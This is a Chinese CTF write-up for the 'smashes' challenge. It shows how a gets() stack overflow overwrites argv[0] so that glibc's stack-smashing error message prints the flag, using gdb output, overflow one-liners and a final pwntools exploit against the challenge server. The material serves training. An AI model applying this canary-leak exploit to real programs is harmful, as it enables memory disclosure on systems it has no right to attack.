程序的主函数很明显_IO_gets存在栈溢出。
查看开启的保护机制,开了一大堆。。。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : disabled
这题是国外的一个CTF题目,他利用的是fortify的报错泄露信息,在栈溢出的时候,数组越界写入,导致 canary值被修改。在函数退出时检查canary,发现canary被修改,函数不能安全返回,call到__stack_chk_fail打印argv[0]这个指针指向的字符串,默认是程序的名字。所以如果我们把它覆盖为flag的地址时,它就会把flag给打印出来。
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
我们可以自己尝试将程序溢出
@ubuntu:~/Desktop$ python -c 'print "A"*0x200+"\n"+"a"'| ./smashes
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./smashes terminated
Aborted (core dumped)
下一步就是计算argv[0]到缓冲区的距离
gdb-peda$ b *0x0040080e
Breakpoint 1 at 0x40080e
gdb-peda$ r
Starting program: /home/longlong/Desktop/smashes
Hello!
What's your name? [----------------------------------registers-----------------------------------]
RAX: 0x19
RBX: 0x0
RCX: 0x7ffff7b00710 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x19
RSI: 0x7ffff7dd59e0 --> 0x0
RDI: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322
RBP: 0x0
RSP: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322
RIP: 0x40080e (call 0x4006c0 <_IO_gets@plt>)
R8 : 0x7ffff7fdb740 (0x00007ffff7fdb740)
R9 : 0x400934 ("Hello!\nWhat's your name? ")
R10: 0x7ffff7fdb740 (0x00007ffff7fdb740)
R11: 0x246
R12: 0x4006ee (xor ebp,ebp)
R13: 0x7fffffffdec0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400804: xor eax,eax
0x400806: call 0x4006b0 <__printf_chk@plt>
0x40080b: mov rdi,rsp
=> 0x40080e: call 0x4006c0 <_IO_gets@plt>
0x400813: test rax,rax
0x400816: je 0x40089f
0x40081c: mov rdx,rsp
0x40081f: mov esi,0x400960
Guessed arguments:
arg[0]: 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdcb0 --> 0x7ffff7a25078 --> 0xc001200003322
0008| 0x7fffffffdcb8 --> 0x7ffff7ff74c0 --> 0x7ffff7a15000 --> 0x10102464c457f
0016| 0x7fffffffdcc0 --> 0x7fffffffde10 --> 0x0
0024| 0x7fffffffdcc8 --> 0x7ffff7ff7a10 --> 0x400458 ("GLIBC_2.2.5")
0032| 0x7fffffffdcd0 --> 0x1
0040| 0x7fffffffdcd8 --> 0x7ffff7ffe520 --> 0x7ffff7ffe480 --> 0x7ffff7ff79c8 --> 0x7ffff7ffe1c8 --> 0x0
0048| 0x7fffffffdce0 --> 0x7ffff7ffe1c8 --> 0x0
0056| 0x7fffffffdce8 --> 0x7ffff7de4961 (<_dl_lookup_symbol_x+305>: cmp eax,0x0)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040080e in ?? ()
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 8 results, display max 8 items:
[stack] : 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffeafc ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffeb69 ("/home/longlong/Devel")
[stack] : 0x7fffffffec50 ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffec70 ("/home/longlong/Desktop")
[stack] : 0x7fffffffed82 ("/home/longlong")
[stack] : 0x7fffffffefa5 ("/home/longlong/.Xauthority")
[stack] : 0x7fffffffefd9 ("/home/longlong/Desktop/smashes")
gdb-peda$ find 0x7fffffffe253
Searching for '0x7fffffffe253' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd4018 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffdec8 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
gdb-peda$ distance $rsp 0x7fffffffdec8
From 0x7fffffffdcb0 to 0x7fffffffdec8: 536 bytes, 134 dwords
通过gdb计算可以知道argv[0]到缓冲区的距离是0x218字节。
查找发现flag同样存储在制度存储器0x400d20这个位置
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")
smashes : 0x600d20 ("PCTF{Here's the flag on server}")
本地覆盖结果如下:
@ubuntu:~/Desktop$ python -c 'print "a"*0x218+"\x20\x0d\x40\x00\x00\x00\x00\x00"+"\n"+"a"' | ./smashes
Hello!
What's your name? Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{Here's the flag on server} terminated
Aborted (core dumped)
提示flag在服务器上,然而远程连接过去是不会成功的。
注意不要用原来flag的地址覆盖,因为原来存储flag的地方会被overwrite。但是由于ELF的映射方式,此flag会被映射两次,另外一个地方flag的内容不会变。
原因是stack_chk_fail会调用libc_message
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd = STDERR_FILENO;
/*......*/
}
如果LIBC_FATALSTDERR环境变量没有设置或者为空,stderr会redirect到_PATH_TTY,通常是/dev/tty,因此错误信息将不会输出到stderr而是服务端可见的设备。
所以我们必须设置这个环境变量,正好可以用这个环境变量去覆盖flag的内容。
最终exp:
from pwn import *
old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#p = process('./smashes')
p = remote('pwn.jarvisoj.com', 9877)
p.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr)
payload += p64(0) + p64(old_flag_addr)
p.sendline(payload)
p.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
flag = p.recv()
print flag
根据glibc的源码可知,只要程序开了canary栈保护,就可以覆盖argv[0]来泄露想要的信息(&set LIBC_FATALSTDERR=1)。